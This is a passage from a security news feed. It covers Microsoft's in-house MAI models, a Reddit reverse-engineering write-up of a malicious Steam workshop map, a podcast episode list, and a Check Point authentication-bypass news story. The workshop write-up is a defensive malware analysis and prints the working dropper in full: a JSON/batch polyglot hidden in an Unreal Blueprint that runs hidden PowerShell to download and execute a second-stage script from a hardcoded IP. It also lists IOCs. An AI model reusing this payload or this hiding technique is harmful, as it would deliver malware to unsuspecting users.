tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fixing Vulns Is Harder Than Finding Them - PSW #936]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:5 In the news this week:

- InfraTrust and knowing what to patch
- Adversary in the middle triggered command injection
- Exploitarium again
- FreeRDP comes with free vulnerabilities
- AI breaking out of sandboxes on its own
-...]]></description>
<link>https://tsecurity.de/de/3690255/it-security-video/fixing-vulns-is-harder-than-finding-them-psw-936/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690255/it-security-video/fixing-vulns-is-harder-than-finding-them-psw-936/</guid>
<pubDate>Thu, 23 Jul 2026 23:17:52 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:5 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/S6-hC85A_qI?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>In the news this week:<br />
<br />
- InfraTrust and knowing what to patch<br />
- Adversary in the middle triggered command injection<br />
- Exploitarium again<br />
- FreeRDP comes with free vulnerabilities<br />
- AI breaking out of sandboxes on its own<br />
- Wordpress RCE<br />
- DMA dangers<br />
- Nightmware eclypse is at it again<br />
- Fortisandbox<br />
- Turning AI to the dark side<br />
- more prompt injection<br />
- Secure boot is broken, still and again...<br />
<br />
Visit https://www.securityweekly.com/psw for all the latest episodes!<br />
<br />
Show Notes: https://securityweekly.com/psw-936<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fixing Vulns Is Harder Than Finding Them - PSW #936]]></title>
<description><![CDATA[In the news this week:  InfraTrust and knowing what to patch Adversary in the middle triggered command injection Exploitarium again FreeRDP comes with free vulnerabilities AI breaking out of sandboxes on its own Wordpress RCE DMA dangers Nightmware eclypse is at it again Fortisandbox Turning AI t...]]></description>
<link>https://tsecurity.de/de/3690243/it-security-nachrichten/fixing-vulns-is-harder-than-finding-them-psw-936/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690243/it-security-nachrichten/fixing-vulns-is-harder-than-finding-them-psw-936/</guid>
<pubDate>Thu, 23 Jul 2026 23:13:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In the news this week:</p> <ul> <li>InfraTrust and knowing what to patch</li> <li>Adversary in the middle triggered command injection</li> <li>Exploitarium again</li> <li>FreeRDP comes with free vulnerabilities</li> <li>AI breaking out of sandboxes on its own</li> <li>Wordpress RCE</li> <li>DMA dangers</li> <li>Nightmware eclypse is at it again</li> <li>Fortisandbox</li> <li>Turning AI to the dark side</li> <li>more prompt injection</li> <li>Secure boot is broken, still and again...</li> </ul> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/psw">https://www.securityweekly.com/psw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/psw-936">https://securityweekly.com/psw-936</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]></title>
<description><![CDATA[Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, C...]]></description>
<link>https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</guid>
<pubDate>Thu, 23 Jul 2026 22:25:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232" target="_blank" rel="noreferrer noopener">allows unauthenticated attackers</a> to assume full admin privileges, is now being exploited in the wild. The vulnerability, <a href="https://github.com/advisories/ghsa-m2xx-23gx-734v" target="_blank" rel="noreferrer noopener">CVE-2026-16232</a>, was given a CVSS score of 9.3.</p>



<p class="wp-block-paragraph">In its security alert, <a href="https://support.checkpoint.com/results/sk/sk185169/" target="_blank" rel="noreferrer noopener">Check Point described</a> the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”</p>



<p class="wp-block-paragraph">The company has <a href="https://sc1.checkpoint.com/documents/Jumbo_HFA/R82.10/R82.10/R82.10-List-of-all-Resolved-Issues.htm" target="_blank" rel="noreferrer noopener">released a patch</a> for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. <a href="https://www.csoonline.com/article/4195311/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber.html" target="_blank">Check Point</a> said that the exploit has impacted ten of its customers, all of whom it had notified directly.</p>



<h2 class="wp-block-heading">Far worse than most</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said this security hole is far worse than most.</p>



<p class="wp-block-paragraph">“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”</p>



<p class="wp-block-paragraph">In an interview with CSO Online, <a href="https://www.linkedin.com/in/lotem-finkelstein-05797a85/" target="_blank" rel="noreferrer noopener">Lotem Finkelstein</a>, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.</p>



<p class="wp-block-paragraph">But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.</p>



<p class="wp-block-paragraph">The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.</p>



<p class="wp-block-paragraph">Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”</p>



<h2 class="wp-block-heading">Challenges of IP address restrictions</h2>



<p class="wp-block-paragraph">While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.</p>



<p class="wp-block-paragraph">“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/pieter-arntz-04164b2/" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”</p>



<h2 class="wp-block-heading">Ideal platform for long-term attacks</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.</p>



<p class="wp-block-paragraph">“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”</p>



<p class="wp-block-paragraph">IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. </p>



<p class="wp-block-paragraph">“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”</p>



<p class="wp-block-paragraph">And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



